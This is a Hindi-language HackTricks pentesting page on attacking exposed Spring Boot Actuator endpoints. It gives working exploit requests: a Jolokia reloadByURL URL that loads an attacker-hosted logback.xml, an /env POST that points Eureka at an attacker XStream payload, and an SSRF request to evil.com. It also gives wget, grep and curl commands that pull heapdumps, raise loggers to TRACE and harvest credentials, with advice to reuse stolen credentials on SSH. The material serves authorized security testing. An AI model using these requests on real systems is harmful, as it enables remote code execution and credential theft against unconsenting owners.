Spring Actuators

Reading time: 7 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Spring Auth Bypass

स्रोत https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png

Exploiting Spring Boot Actuators

मूल पोस्ट देखें: [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]

मुख्य बिंदु:

  • Spring Boot Actuators /health, /trace, /beans, /env, आदि जैसे endpoints रजिस्टर करते हैं। वर्ज़न 1 से 1.4 में ये endpoints authentication के बिना उपलब्ध होते हैं। वर्ज़न 1.5 के बाद, केवल /health और /info डिफ़ॉल्ट रूप से non-sensitive होते हैं, लेकिन developers अक्सर इस security को disable कर देते हैं।
  • कुछ Actuator endpoints संवेदनशील डेटा उजागर कर सकते हैं या हानिकारक कार्रवाइयों की अनुमति दे सकते हैं:
  • /dump, /trace, /logfile, /shutdown, /mappings, /env, /actuator/env, /restart, और /heapdump.
  • Spring Boot 1.x में actuators root URL के तहत रजिस्टर होते हैं, जबकि 2.x में वे /actuator/ base path के तहत होते हैं।

Exploitation Techniques:

  1. Remote Code Execution via '/jolokia':
  • /jolokia actuator endpoint Jolokia Library को expose करता है, जो MBeans तक HTTP access की अनुमति देता है।
  • reloadByURL action का उपयोग external URL से logging configurations reload करने के लिए exploited किया जा सकता है, जिससे crafted XML configurations के ज़रिए blind XXE या Remote Code Execution हो सकता है।
  • Example exploit URL: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml.
  1. Config Modification via '/env':
  • यदि Spring Cloud Libraries मौजूद हैं, तो /env endpoint environmental properties को modify करने की अनुमति देता है।
  • Properties को manipulate कर vulnerabilities exploit की जा सकती हैं, जैसे Eureka serviceURL में XStream deserialization vulnerability।
  • Example exploit POST request:
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
  1. Other Useful Settings:
  • spring.datasource.tomcat.validationQuery, spring.datasource.tomcat.url, और spring.datasource.tomcat.max-active जैसी properties को manipulate करके विभिन्न exploits, जैसे SQL injection या database connection strings बदलना, किया जा सकता है।

अतिरिक्त जानकारी:

  • default actuators की विस्तृत सूची here पर मिल सकती है।
  • Spring Boot 2.x में /env endpoint property modification के लिए JSON format उपयोग करता है, लेकिन सामान्य concept वही रहता है।

संबंधित विषय:

  1. Env + H2 RCE:
  • /env endpoint और H2 database के combination को exploit करने के विवरण here पर मिलते हैं।
  1. SSRF on Spring Boot Through Incorrect Pathname Interpretation:
  • Spring framework द्वारा HTTP pathnames में matrix parameters (;) को हैंडल करने का तरीका Server-Side Request Forgery (SSRF) के लिए exploit किया जा सकता है।
  • Example exploit request:
http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

HeapDump secrets mining (credentials, tokens, internal URLs)

यदि /actuator/heapdump एक्सपोज़्ड है, तो आप आमतौर पर एक पूरा JVM heap snapshot प्राप्त कर सकते हैं जिसमें अक्सर live secrets होते हैं (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, आदि)।

  • डाउनलोड और त्वरित ट्रायज:
bash
wget http://target/actuator/heapdump -O heapdump
# Quick wins: look for HTTP auth and JDBC
strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client'
# Decode any Basic credentials you find
printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
  • VisualVM और OQL के साथ गहरी जांच:
  • heapdump को VisualVM में खोलें, java.lang.String के instances का निरीक्षण करें या OQL चलाकर secrets खोजें:
select s.toString()
from java.lang.String s
where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
  • JDumpSpider के साथ ऑटोमैटेड एक्सट्रैक्शन:
bash
java -jar JDumpSpider-*.jar heapdump

उच्च-मूल्य के आम निष्कर्ष:

  • Spring DataSourceProperties / HikariDataSource ऑब्जेक्ट्स जो url, username, password एक्सपोज़ करते हैं।
  • OriginTrackedMapPropertySource एंट्रीज़ जो management.endpoints.web.exposure.include, सर्विस पोर्ट्स, और URLs में embedded Basic-Auth (जैसे Eureka defaultZone) को उजागर करती हैं।
  • Plain HTTP request/response fragments जिनमें Authorization: Basic ... जैसे हेडर मेमोरी में कैप्चर होते हैं।

टिप्स:

  • actuator endpoints जल्दी खोजने के लिए Spring-फोकस्ड wordlist का उपयोग करें (जैसे SecLists spring-boot.txt) और हमेशा जांचें कि /actuator/logfile, /actuator/httpexchanges, /actuator/env, और /actuator/configprops भी एक्सपोज़्ड हैं या नहीं।
  • heapdump से मिले Credentials अक्सर आस-पास की सेवाओं के लिए काम करते हैं और कभी-कभी सिस्टम यूज़र्स (SSH) के लिए भी, इसलिए इन्हें व्यापक रूप से ट्राय करें।

Abusing Actuator loggers/logging to capture credentials

यदि management.endpoints.web.exposure.include अनुमति देता है और /actuator/loggers एक्सपोज़्ड है, तो आप authentication और request processing को संभालने वाले पैकेजों के लिए डायनामिक रूप से log levels को DEBUG/TRACE तक बढ़ा सकते हैं। पढ़ने योग्य logs (via /actuator/logfile या ज्ञात log paths) के साथ मिलकर, यह लॉगins के दौरान सबमिट किए गए credentials (उदाहरण के लिए Basic-Auth headers या form parameters) लीक कर सकता है।

  • संवेदनशील loggers की सूची बनाएं और उन्हें बढ़ाएँ:
bash
# List available loggers
curl -s http://target/actuator/loggers | jq .

# Enable very verbose logs for security/web stacks (adjust as needed)
curl -s -X POST http://target/actuator/loggers/org.springframework.security \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.web \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
  • पता लगाएं कि logs कहाँ लिखे जा रहे हैं और उन्हें हार्वेस्ट करें:
bash
# If exposed, read from Actuator directly
curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='

# Otherwise, query env/config to locate file path
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
  • login/authentication ट्रैफ़िक ट्रिगर करें और लॉग में creds पार्स करें। gateway के साथ माइक्रोservice सेटअप में, gateway/security पैकेज के लिए TRACE सक्षम करने से अक्सर headers और form bodies दिखाई देने लगते हैं। कुछ वातावरण पिरियोडिकली synthetic login ट्रैफ़िक भी जेनरेट करते हैं, जिससे verbose logging होने पर हार्वेस्ट करना बहुत आसान हो जाता है।

नोट्स:

  • काम खत्म होने पर log levels reset करें: POST /actuator/loggers/<logger> with { "configuredLevel": null }.
  • यदि /actuator/httpexchanges एक्सपोज़्ड है, तो यह हालिया request metadata भी surface कर सकता है जिसमें संवेदनशील headers शामिल हो सकते हैं।

References

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें